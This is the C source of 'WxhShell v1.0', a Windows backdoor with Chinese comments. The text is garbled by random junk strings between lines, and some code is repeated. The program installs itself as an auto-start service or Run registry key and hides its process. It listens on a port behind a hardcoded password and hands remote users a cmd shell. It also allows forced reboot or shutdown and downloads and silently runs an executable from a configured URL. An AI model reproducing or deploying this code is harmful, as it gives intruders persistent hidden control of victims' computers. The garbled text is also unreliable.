Zw g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ljNzYg~- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *0=fT}&! d4jVdOq2 if (!NtQueryInformationProcess) return 0; 1U717u T{_1c oL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J|n(dVen/ if(!hProcess) return 0; Jn@Z8%B@Z .yZK.[x4 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l\K% Cr'
!"F CloseHandle(hProcess); kR<xtHW jK3giT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T$: >* if(hProcess==NULL) return 0; ?cqicN.+6 gJ]Cq/gC HMODULE hMod; PYdIP\<V char procName[255]; 5."5IjZu unsigned long cbNeeded; ^dFhg_GhF 5,F;j<F if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bj;\mUsk 2~vo+ng CloseHandle(hProcess); <\>+~p, @)9REA(U if(strstr(procName,"services")) return 1; // 以服务启动 Jb(DJ-& f&6w;T= return 0; // 注册表启动 6{5q@9F } D~cW
]2 =YWT|%^uX // 主模块 A{4Dzm ! int StartWxhshell(LPSTR lpCmdLine) *6NO-T; - { A;odVaH7 SOCKET wsl; S$S_nNq BOOL val=TRUE; y:qx5Mi int port=0; }$^]dn@ struct sockaddr_in door; %p<$|' CT|z[^ if(wscfg.ws_autoins) Install(); P;j&kuW|zL :lgHL3yl port=atoi(lpCmdLine); q_-ma_F#s -<8B, if(port<=0) port=wscfg.ws_port; ]PeLcB ^&C&~}Zv WSADATA data; uK"^*NEC'; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; - oU@D Ynvj; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [6O04"6K setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @XeEpDn] door.sin_family = AF_INET; 4S'[\ZJO door.sin_addr.s_addr = inet_addr("127.0.0.1"); #]@9qPyn door.sin_port = htons(port); U?^OD lco~X DI if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^SEc./$ closesocket(wsl); Tj Mb>w9 return 1; p`\3if' } cvhlRI%6 _8al if(listen(wsl,2) == INVALID_SOCKET) { A_@I_V$ closesocket(wsl); FH4u$g+ return 1; a|U}Ammr } I=U+GY: Wxhshell(wsl); ]y.Rg{iv WSACleanup(); VF\{ra; l`DtiJ?$$0 return 0; Y=9qJ`q ]Qd{ '}+ } dl:-k r8 it~Z|$ // 以NT服务方式启动 ~
W@X- VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :]yg { `Uv)Sf{ DWORD status = 0; DTPay1]6 DWORD specificError = 0xfffffff; )Ea8{m! Hc M~ serviceStatus.dwServiceType = SERVICE_WIN32; J6DnPaw-G serviceStatus.dwCurrentState = SERVICE_START_PENDING; +)zDA:2Wa" serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I|Z/`9T serviceStatus.dwWin32ExitCode = 0; Np$z%ewK. serviceStatus.dwServiceSpecificExitCode = 0;
^,+nef?= serviceStatus.dwCheckPoint = 0; 6nc0=~='$ serviceStatus.dwWaitHint = 0; ^/k, z9 O~W5-U hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
O)O Uy if (hServiceStatusHandle==0) return; 21ViHV /oFc03d status = GetLastError(); vmvFBzLR if (status!=NO_ERROR) ZBF1rx? { $Y6 3!* serviceStatus.dwCurrentState = SERVICE_STOPPED; V`by*s serviceStatus.dwCheckPoint = 0; #XcU{5Qm5 serviceStatus.dwWaitHint = 0; -/zp&*0gcx serviceStatus.dwWin32ExitCode = status; <>]1Y$^Y serviceStatus.dwServiceSpecificExitCode = specificError; pL! a SetServiceStatus(hServiceStatusHandle, &serviceStatus); O"\nR:\ return; C w%BZ } ujx@@N %Z7%jma serviceStatus.dwCurrentState = SERVICE_RUNNING;
fSjs?zd` serviceStatus.dwCheckPoint = 0; l~rb]6E serviceStatus.dwWaitHint = 0; $6#
lTYN~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rnr#$C% } +ZclGchw "?P[9x} // 处理NT服务事件,比如:启动、停止 b_|u< VOID WINAPI NTServiceHandler(DWORD fdwControl) []"=]f{1}; { '#A:.P switch(fdwControl) qcYNtEs*c { y+A{Y case SERVICE_CONTROL_STOP: tfA}`*$s serviceStatus.dwWin32ExitCode = 0; c yP,[?N serviceStatus.dwCurrentState = SERVICE_STOPPED; H'Ln
P>@n# serviceStatus.dwCheckPoint = 0; }a ^|L"
serviceStatus.dwWaitHint = 0; 9#Bx]wy { ;gUXvx~~r SetServiceStatus(hServiceStatusHandle, &serviceStatus); x/xb1" } =-Nsc1& return; =e{.yggE case SERVICE_CONTROL_PAUSE: >fH*XP>( serviceStatus.dwCurrentState = SERVICE_PAUSED; vr 4O8# break; ;%WdvnW case SERVICE_CONTROL_CONTINUE: .TJ">? serviceStatus.dwCurrentState = SERVICE_RUNNING; ddoFaQ8 break; 5,R`@&K3D case SERVICE_CONTROL_INTERROGATE: NF mc>0- break; p,;mYm s }; \_9rr6^" SetServiceStatus(hServiceStatusHandle, &serviceStatus); L,$3Yj } O |WbFf pv&^D,H, // 标准应用程序主函数 _f|/*.
@Q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,#d[ad< { 4-V)_U#8 O,|\"b1( // 获取操作系统版本 3cixQzb}u OsIsNt=GetOsVer(); (sCAR=5v\ GetModuleFileName(NULL,ExeFile,MAX_PATH); I+"
lrU Xk,>l6vc // 从命令行安装 ZdH1nX(Yh3 if(strpbrk(lpCmdLine,"iI")) Install(); /c#l9&, ! Mo`^t // 下载执行文件 LG&5VxT=,< if(wscfg.ws_downexe) { |` "? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2m" _z WinExec(wscfg.ws_filenam,SW_HIDE); \ha-"Aqze3 } )7Ixz1I9g W5Zqgsy($F if(!OsIsNt) { Xa,\EEmQ // 如果时win9x,隐藏进程并且设置为注册表启动 Kam]Mn' HideProc(); @5E,:)T*wR StartWxhshell(lpCmdLine); ^N- 'xy } #\ #3r else 7"cv|6y| if(StartFromService()) \|t{e8} // 以服务方式启动 f4"4ZVcr StartServiceCtrlDispatcher(DispatchTable); pj;
I)-d/ else 6t7fa< // 普通方式启动 vq>l>as9O StartWxhshell(lpCmdLine); b\giJ1NJB R=M!e<' return 0; /M@PO" } :YNp8!?T? V!&P(YO: {/|qjkT&W eFFc 9'o =========================================== 6Dst;: r~>,$[|n}) 'N6 S}w7 $r79n- /oL8;:m K5`Rk"s " Jhy(x1% OipqoI2 #include <stdio.h> 6(KmA-!b(O #include <string.h> URw5U1 #include <windows.h> K9|7dvzC: #include <winsock2.h> af'@h: #include <winsvc.h> *aRX \TnN #include <urlmon.h> <
kP+eD d#>y }H9 #pragma comment (lib, "Ws2_32.lib") &z@~B&O #pragma comment (lib, "urlmon.lib") nIBFk?)6 >qh?L#Fk #define MAX_USER 100 // 最大客户端连接数 F8=nhn #define BUF_SOCK 200 // sock buffer c!wtf,F #define KEY_BUFF 255 // 输入 buffer cj
g.lzYH .Dw,"VHP #define REBOOT 0 // 重启 ~xDw*AC- #define SHUTDOWN 1 // 关机 KDTDJ8
q3S+Y9L #define DEF_PORT 5000 // 监听端口 &=Y e6 f[ .:9s}%Zr #define REG_LEN 16 // 注册表键长度 o~1 Kp!U #define SVC_LEN 80 // NT服务名长度 &HDP!SLS
'Cc(3 // 从dll定义API op @iGC+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &leK}je [ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,}J_:\j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); euQ.ArF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e:-8k_0| d,9`<1{9 // wxhshell配置信息 8l>CR#%@C struct WSCFG { '~Q2!F int ws_port; // 监听端口 YI@Fhr
&NU char ws_passstr[REG_LEN]; // 口令 =SBBvnPLI int ws_autoins; // 安装标记, 1=yes 0=no yPgmg@G@/ char ws_regname[REG_LEN]; // 注册表键名 ir[jCea, char ws_svcname[REG_LEN]; // 服务名 ,Z~;U char ws_svcdisp[SVC_LEN]; // 服务显示名 hfrnxeM#~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 C@gXT]Q
0} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qp~gP int ws_downexe; // 下载执行标记, 1=yes 0=no >/^#Drwb!i char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2UadV_s+s char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _MfD .CbGDZ }; 1-VT}J( L?RF;jf // default Wxhshell configuration 2R.2D'4)` struct WSCFG wscfg={DEF_PORT, Em^( "xuhuanlingzhe", yL1CZ_ 1, 2]WE({P "Wxhshell", mT.e>/pa "Wxhshell", + WDq=S "WxhShell Service", [j9E pi( "Wrsky Windows CmdShell Service", 0KvVw rWJ "Please Input Your Password: ", ,1UZv>}S 1, Qa`hR "http://www.wrsky.com/wxhshell.exe", ^b-18 ~s "Wxhshell.exe" m,_d^ }; %XTA;lrz <@uOCRbV // 消息定义模块 la^
DjHA$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XL5Es:"+?S char *msg_ws_prompt="\n\r? for help\n\r#>"; 0 f/.>1M= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %2l7Hmp4H char *msg_ws_ext="\n\rExit."; uT_!'l$fr char *msg_ws_end="\n\rQuit.";
!#x= JX char *msg_ws_boot="\n\rReboot..."; !GK$[9 char *msg_ws_poff="\n\rShutdown..."; +R.N%_ char *msg_ws_down="\n\rSave to "; MI#mAg< 5VE2@Fn} char *msg_ws_err="\n\rErr!"; rg QEUDEQ char *msg_ws_ok="\n\rOK!"; m~`>`4 - u3e5gW char ExeFile[MAX_PATH]; }!d;(/)rb int nUser = 0; *}!MOqP HANDLE handles[MAX_USER]; '0t-]NAc int OsIsNt; [aqu}Su ,/,9j{|"j SERVICE_STATUS serviceStatus; :Vuf6, SERVICE_STATUS_HANDLE hServiceStatusHandle; & >JDPB?5 :k,Q,B.I // 函数声明 .tXtcf/ int Install(void); {}Ejt:rKN int Uninstall(void); t?)pl2!A int DownloadFile(char *sURL, SOCKET wsh); [=%YV# O int Boot(int flag); C>QIrZu void HideProc(void); D'[Uc6 int GetOsVer(void); pwX C int Wxhshell(SOCKET wsl); Z)"61)
) void TalkWithClient(void *cs); t+TYb#Tc int CmdShell(SOCKET sock); `\Unpp\I int StartFromService(void); s8gU7pT49 int StartWxhshell(LPSTR lpCmdLine); 0b|zk < >G"X J<IO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y}STF VOID WINAPI NTServiceHandler( DWORD fdwControl ); cO#oH2} *r,b=8| // 数据结构和表定义 \fLvw SERVICE_TABLE_ENTRY DispatchTable[] = r/:%}(7; { 2>PH8 {wscfg.ws_svcname, NTServiceMain}, 'r}fZ {NULL, NULL} p@Q5b}xCG_ }; @gfDp< RW7(r/C // 自我安装 7C,T&g
1: int Install(void) IB5BO7J { ;N=G=X|} char svExeFile[MAX_PATH]; Ug"rJMZG HKEY key; !.HnGb+ strcpy(svExeFile,ExeFile); g!J0L7i| /Z%>ArAx // 如果是win9x系统,修改注册表设为自启动 eC`pnE if(!OsIsNt) { {Gi h&N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GA3sRFZdQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =U-r*sGLN RegCloseKey(key); _}Ps(_5D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oQ2KW..q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <:;^'x>! RegCloseKey(key); hfM;/ return 0; nBLj [ } ]s1 YaNq } aP()|js } ^ @=^;nB else { w!3>N"em /2uQCw&x- // 如果是NT以上系统,安装为系统服务 +Ov2`O8? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {1lO if (schSCManager!=0) 0t.p1 { -8Ti*: SC_HANDLE schService = CreateService NucM+r1P ( +|RB0}hFS- schSCManager, 3{Q,hpZN wscfg.ws_svcname, lhLGG wscfg.ws_svcdisp, 7v"lNP-?jU SERVICE_ALL_ACCESS, O>0VTW SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `)>7)={ SERVICE_AUTO_START, :
mGAt[Cc SERVICE_ERROR_NORMAL, 7^e + svExeFile, 1(dj[3Mt NULL, NeOxpn[ NULL, $17
su') NULL, JhK/']R NULL, )9j06(<A NULL -pb&-@Hul ); %!j:fJ() if (schService!=0) #;tT8[Ewuw { woOy*)@ CloseServiceHandle(schService); z4U9n'{ CloseServiceHandle(schSCManager); %}Q&1P= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {U11^w1"3 strcat(svExeFile,wscfg.ws_svcname); C? Zw6M+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Sr.;GS5i RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kJK,6mN RegCloseKey(key); 2 YxT MT return 0; rjWLMbd.< } y9HK | } 5F $V`kYT CloseServiceHandle(schSCManager); =P77"Dd } TYgQJW? } |$lwkC)O o>D return 1; '` CspY } r64u31.) A2H4k|8 // 自我卸载 j
-O2aL int Uninstall(void) `iShJz96 { bha?eN HKEY key; b`mj_b B5am1y{P# if(!OsIsNt) { hP@(6X," if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hgc=M RegDeleteValue(key,wscfg.ws_regname); T3&`<%,f RegCloseKey(key); ,d,\-x-+/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PH4%R]{8{ RegDeleteValue(key,wscfg.ws_regname); 9l/EjF^ RegCloseKey(key); "E=j|q return 0; +SXIZ` } B/uniR^x } "dh:-x6 } v6a]1B else { ^(x^6d Bstk{&ew SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jdqj=Yc if (schSCManager!=0) w=b(X
q+: { }odV_WT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ni CE\B~ if (schService!=0) *gsAn<
{ 7YIK9edP if(DeleteService(schService)!=0) { M~T.n)x2 CloseServiceHandle(schService); ffDc6*.Q CloseServiceHandle(schSCManager); mXWTm%'[ return 0; I=DLPgzO9 } |PVt}*0" CloseServiceHandle(schService); b%(6EiUA } Zy"=y+e!E; CloseServiceHandle(schSCManager); tB(4Eq
\ } f>Td)s1
M } uYO|5a<f~ rjA@U<o return 1; e,1u } @)YY\l# &R-H"kK? // 从指定url下载文件 h5%|meZQb int DownloadFile(char *sURL, SOCKET wsh) .5HQ
{ <!^
[~` HRESULT hr; cSP*f0n,eo char seps[]= "/"; y7u^zH6wj char *token; >R^@Ww;|q char *file; MLVB^<qkeH char myURL[MAX_PATH]; j#A%q"]8 char myFILE[MAX_PATH]; US&B!Q:v 5CYo7mJ6+ strcpy(myURL,sURL); 43:t
\ token=strtok(myURL,seps); V-O(U*] while(token!=NULL) CX/(o] { P1kB>"bR file=token; 0`#(Toe{B token=strtok(NULL,seps); =odkz}bU } KlxN~/gyik "`tXA GetCurrentDirectory(MAX_PATH,myFILE); 0Dv JZ|e strcat(myFILE, "\\"); !-]C;9Zd strcat(myFILE, file); ~XM[>M\qB send(wsh,myFILE,strlen(myFILE),0); 8}p8r|d!ls send(wsh,"...",3,0); <EX7WA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |(IO=V4P if(hr==S_OK) 0OZ Mlt%z return 0; LC69td& else w:=V@-S8 return 1; (-yl|NFBw [W,|kDK } GUp;AoQ H-t|i // 系统电源模块 (yrh=6=z int Boot(int flag) hXL|22>w< { U5ZX78>a HANDLE hToken; qc-,+sn( TOKEN_PRIVILEGES tkp; 5fjd{Y[k !|{IVm/J if(OsIsNt) { mNmUUj9z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {aq9i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :>
-1'HC tkp.PrivilegeCount = 1; nL`9l1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I`B'1"{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iDb;_? if(flag==REBOOT) { xp \S2@< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u</8w&! return 0; I+?hG6NM } rs8\)\z else { $n=lsDnhQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {")\0|2\x return 0; GlYly5F } '?Bg;Z'L % } )najO*n else { rj]
E@W if(flag==REBOOT) { Zc5
:]] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9M$/=>^
Z return 0; @s*,xHE } 3}Xc71|v else { Mhpdaos if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $g8}^1 return 0; ^QL 877 } -AD2I {C } |Fln8wB C".1+Um return 1; NlPS# } 2Oc$+St~8 {ISE'GJj // win9x进程隐藏模块 I<\
'% void HideProc(void) zQ)+/e(8 { 70gg4BS oVO.@M# HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D,;\F,p if ( hKernel != NULL ) +++pI.>(*Q { 649 != pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7k8n@39? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >IvBUM[Rt FreeLibrary(hKernel); 'imU`zeo } p]|LV)R n a:!uORQby return; zmFws-+A } :[7lTp
MiGcA EF; // 获取操作系统版本 n'w,n1z7 int GetOsVer(void) @'jfKW { "~+.Af OSVERSIONINFO winfo; :hqZPajE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V0i9DK|! GetVersionEx(&winfo); G?)vWM`j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .Ao0;:;(2- return 1; MK$Jj" else q? z> return 0; <4X?EYaTq } =:7$/T'Qg Ob@Hng%v // 客户端句柄模块
nB@UKX int Wxhshell(SOCKET wsl) f6ZZ}lwaV { A|RR]CFJ SOCKET wsh; D(XqyN-P struct sockaddr_in client; oK+Lzb\d{M DWORD myID; k=n
"+ d]B=*7] while(nUser<MAX_USER) Z6s5M{mE { &"S/Lt int nSize=sizeof(client); ?l6jG wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aC\4}i< if(wsh==INVALID_SOCKET) return 1; NB)t7/Us :=!Mh}i handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DdjCn`jqlf if(handles[nUser]==0) 2<6j1D^jM closesocket(wsh); Z7#7N wy4 else F@SG((` nUser++; *@M3p}',M } EZj1jpL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vDDljQXw4 aj7dH5SZl return 0; L(o#4YH}>J } (cV bx;f`8SN // 关闭 socket qu{mqkfN> void CloseIt(SOCKET wsh) J_"3UZ~& { {BOLPE- closesocket(wsh); 3 wt nUser--; (2txM"Dja ExitThread(0); PZOORjF8A } ~"7J}[i5 I'_v{k5ZI // 客户端请求句柄 &L3#:jSk void TalkWithClient(void *cs) $Z6D:"K { .h8M \qq-smcM- SOCKET wsh=(SOCKET)cs; z,Xk\@ char pwd[SVC_LEN]; L|67f4 char cmd[KEY_BUFF]; ?!S
GiARW? char chr[1]; Yn<)k_kp int i,j; [b1hC ~I; [thboP.? while (nUser < MAX_USER) { uWc: jP Uf2:gLrF if(wscfg.ws_passstr) { c E76L%O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xqWj|jA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i^/54 //ZeroMemory(pwd,KEY_BUFF); sR79
K1*j i=0; 6VR[)T% while(i<SVC_LEN) { u4"r>e6_B P|}\/}{` // 设置超时 E+{5-[Zc*$ fd_set FdRead; *zQOJsg"e struct timeval TimeOut; l,bZG3,6 FD_ZERO(&FdRead); wRbw FD_SET(wsh,&FdRead); 1uM/2sX TimeOut.tv_sec=8; ua#K>sur. TimeOut.tv_usec=0;
`]>on`n? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R}k69-1vL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pt})JMm ,y.3Fe if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F6&P ~H pwd=chr[0]; qJ Gm8^b- if(chr[0]==0xd || chr[0]==0xa) { =]KIkS 3 pwd=0; e^frVEV break; 7^wE$7hS } cjY@Ot*i$ i++; 4A o{M } ND,`QjmZ 9[{sEg=C$e // 如果是非法用户,关闭 socket 3^ ~Zj95M if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ITvHD-,\ } _3&/(B%H :uvc\|:s send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <Kp+&(l,l send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J|?[.h7tO b%<jUY while(1) { P#bm uCOS ]Zv, ZeroMemory(cmd,KEY_BUFF); =ZMF ]| )52#:27F // 自动支持客户端 telnet标准 )@$
&FFIu j=0; $i%HDt| while(j<KEY_BUFF) { m3"c (L`B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dqz1xQ1 cmd[j]=chr[0]; Sj1r s#@1 if(chr[0]==0xa || chr[0]==0xd) { gvr]]}h:O cmd[j]=0; .+uVgSN break; j4vB`Gr] } S)Mby j++; ]ut?&&* } s((b"{fFb ">,K1:(D // 下载文件 Ou!)1UFI if(strstr(cmd,"http://")) { eoL0^cZj send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?\d5;%YSr if(DownloadFile(cmd,wsh)) PL!tk^;6- send(wsh,msg_ws_err,strlen(msg_ws_err),0); J~'~[,K else S5/p=H: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bxt_a.LthH } .S(^roM;+ else { $~ VcQ ++gPv}:$X switch(cmd[0]) { ZR2\dH* l3\9S#3-^ // 帮助 PbQE{&D# case '?': { ]3 j[3' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #4lHaFq break; P;>!wU~* } 8nf4Jk8r // 安装 fGo_NB case 'i': { kp.|gzA6 if(Install()) Ltl]j*yei send(wsh,msg_ws_err,strlen(msg_ws_err),0); W
n6,U=$3 else IY~
{)X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Uy#/MX break; H!#5!m& } A` =]RJ // 卸载 %'kX"}N/ case 'r': { epYj+T if(Uninstall()) sI4QI\*4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ho>p ^p else QdirE4W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p>!1S break; 35}P0+ } 6\XP|n-0+0 // 显示 wxhshell 所在路径 WEps.]s case 'p': { &!4(
0u char svExeFile[MAX_PATH]; tRkrV]K strcpy(svExeFile,"\n\r"); zK,~ 37)\ strcat(svExeFile,ExeFile); L#[HnsLp_ send(wsh,svExeFile,strlen(svExeFile),0); M$#+W?m& break; VDPxue } v F] // 重启 Fz{o-4 case 'b': { -5o?#% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pDP33`OFh if(Boot(REBOOT)) <%he
o send(wsh,msg_ws_err,strlen(msg_ws_err),0); rT o%=0P else { ~;TV74~rr closesocket(wsh); E8+8{
#f; ExitThread(0); vsjM3= } gp%tMTI1 break; Bk@bN~B4 } |%n|[LP' // 关机 3SmqXPOw case 'd': { sek6+#|= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h!Z Z2[ if(Boot(SHUTDOWN)) 7jhl0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); T3 =)F% else { zj%cd; closesocket(wsh); ZV0)
."^Z ExitThread(0); 0qOM78rE } b$IY2W<Ln break; $&bU2 ] } DrW/KU,{+( // 获取shell UzXDi#Ky case 's': { $4ka +nfU CmdShell(wsh); \%Pma8&d closesocket(wsh); _CHKh*KHML ExitThread(0); |.^^|@+ break; VOD1xWrb } % cU-5\xF // 退出 7'c8]/qh case 'x': { Ty)gPh6O send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]eY Qio! CloseIt(wsh); :Xb*m85y break; :/ ~):tM } g8C+1G8 // 离开 9c#L{in case 'q': { V=:,]fTr send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z?5,cI[6# closesocket(wsh); r7zf+a] WSACleanup(); \ro~-n+ o exit(1); Ufyxw5u5F break; y[TaM9< } FI80vV7
} n\~"Wim<b } }S
Y`KoC1 ag|9$ // 提示信息 Vjv6\;tt8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t201ud2$ } e,PQ)1 } B(HNB\3u ch%Q'DR_I) return; u0<d2Y } 3 ATN?V@ \mqhugy // shell模块句柄 rjq -ZrC% int CmdShell(SOCKET sock) F0DPS:c { DK2c]i^|= STARTUPINFO si; 89 _&X[X ZeroMemory(&si,sizeof(si)); #MmmwPB_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lx|w~+k} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x'VeL| PROCESS_INFORMATION ProcessInfo; r%OrH-T char cmdline[]="cmd"; VKl~oFKXJ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HJ2O@e return 0; H{p[Ghp } U`},)$ ',v0vyO8 // 自身启动模式 gME:\ud$ int StartFromService(void) s2,`eV { O% j,:t'" typedef struct }[YcilU_ { Cf8R2(-4 DWORD ExitStatus; C{lB/F/|! DWORD PebBaseAddress; 7!]k#|u DWORD AffinityMask; IFHgD}kp%# DWORD BasePriority; 0O@[on;Bd ULONG UniqueProcessId; CJ37:w{%*Y ULONG InheritedFromUniqueProcessId; n=<q3}1Jej } PROCESS_BASIC_INFORMATION; J-HabHv G5C#i7cpm PROCNTQSIP NtQueryInformationProcess; \H}@-*z+) #CBo static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y+S~b static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^ ^U)WB D(W7O>5vQ2 HANDLE hProcess; YQlpk@X`2 PROCESS_BASIC_INFORMATION pbi; )[a?J, zXA= se0U HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [bQ8A(u if(NULL == hInst ) return 0; n~L'icD[ x %!OP\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &QHA_+88W g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U/~Zk@3j NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [m@e^6F0U 5wVi{P5+ if (!NtQueryInformationProcess) return 0; _ ;v_L {ILQ
CvP* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aG8;,H=%, if(!hProcess) return 0; J[Y lo&w3 s?z=q%-p if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oWn_3gzw; e3bAT.P CloseHandle(hProcess); [9# #Kb 7i%P&oB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m''i E if(hProcess==NULL) return 0; wZ#~+ }T }T&;*ww HMODULE hMod; /-cX(z
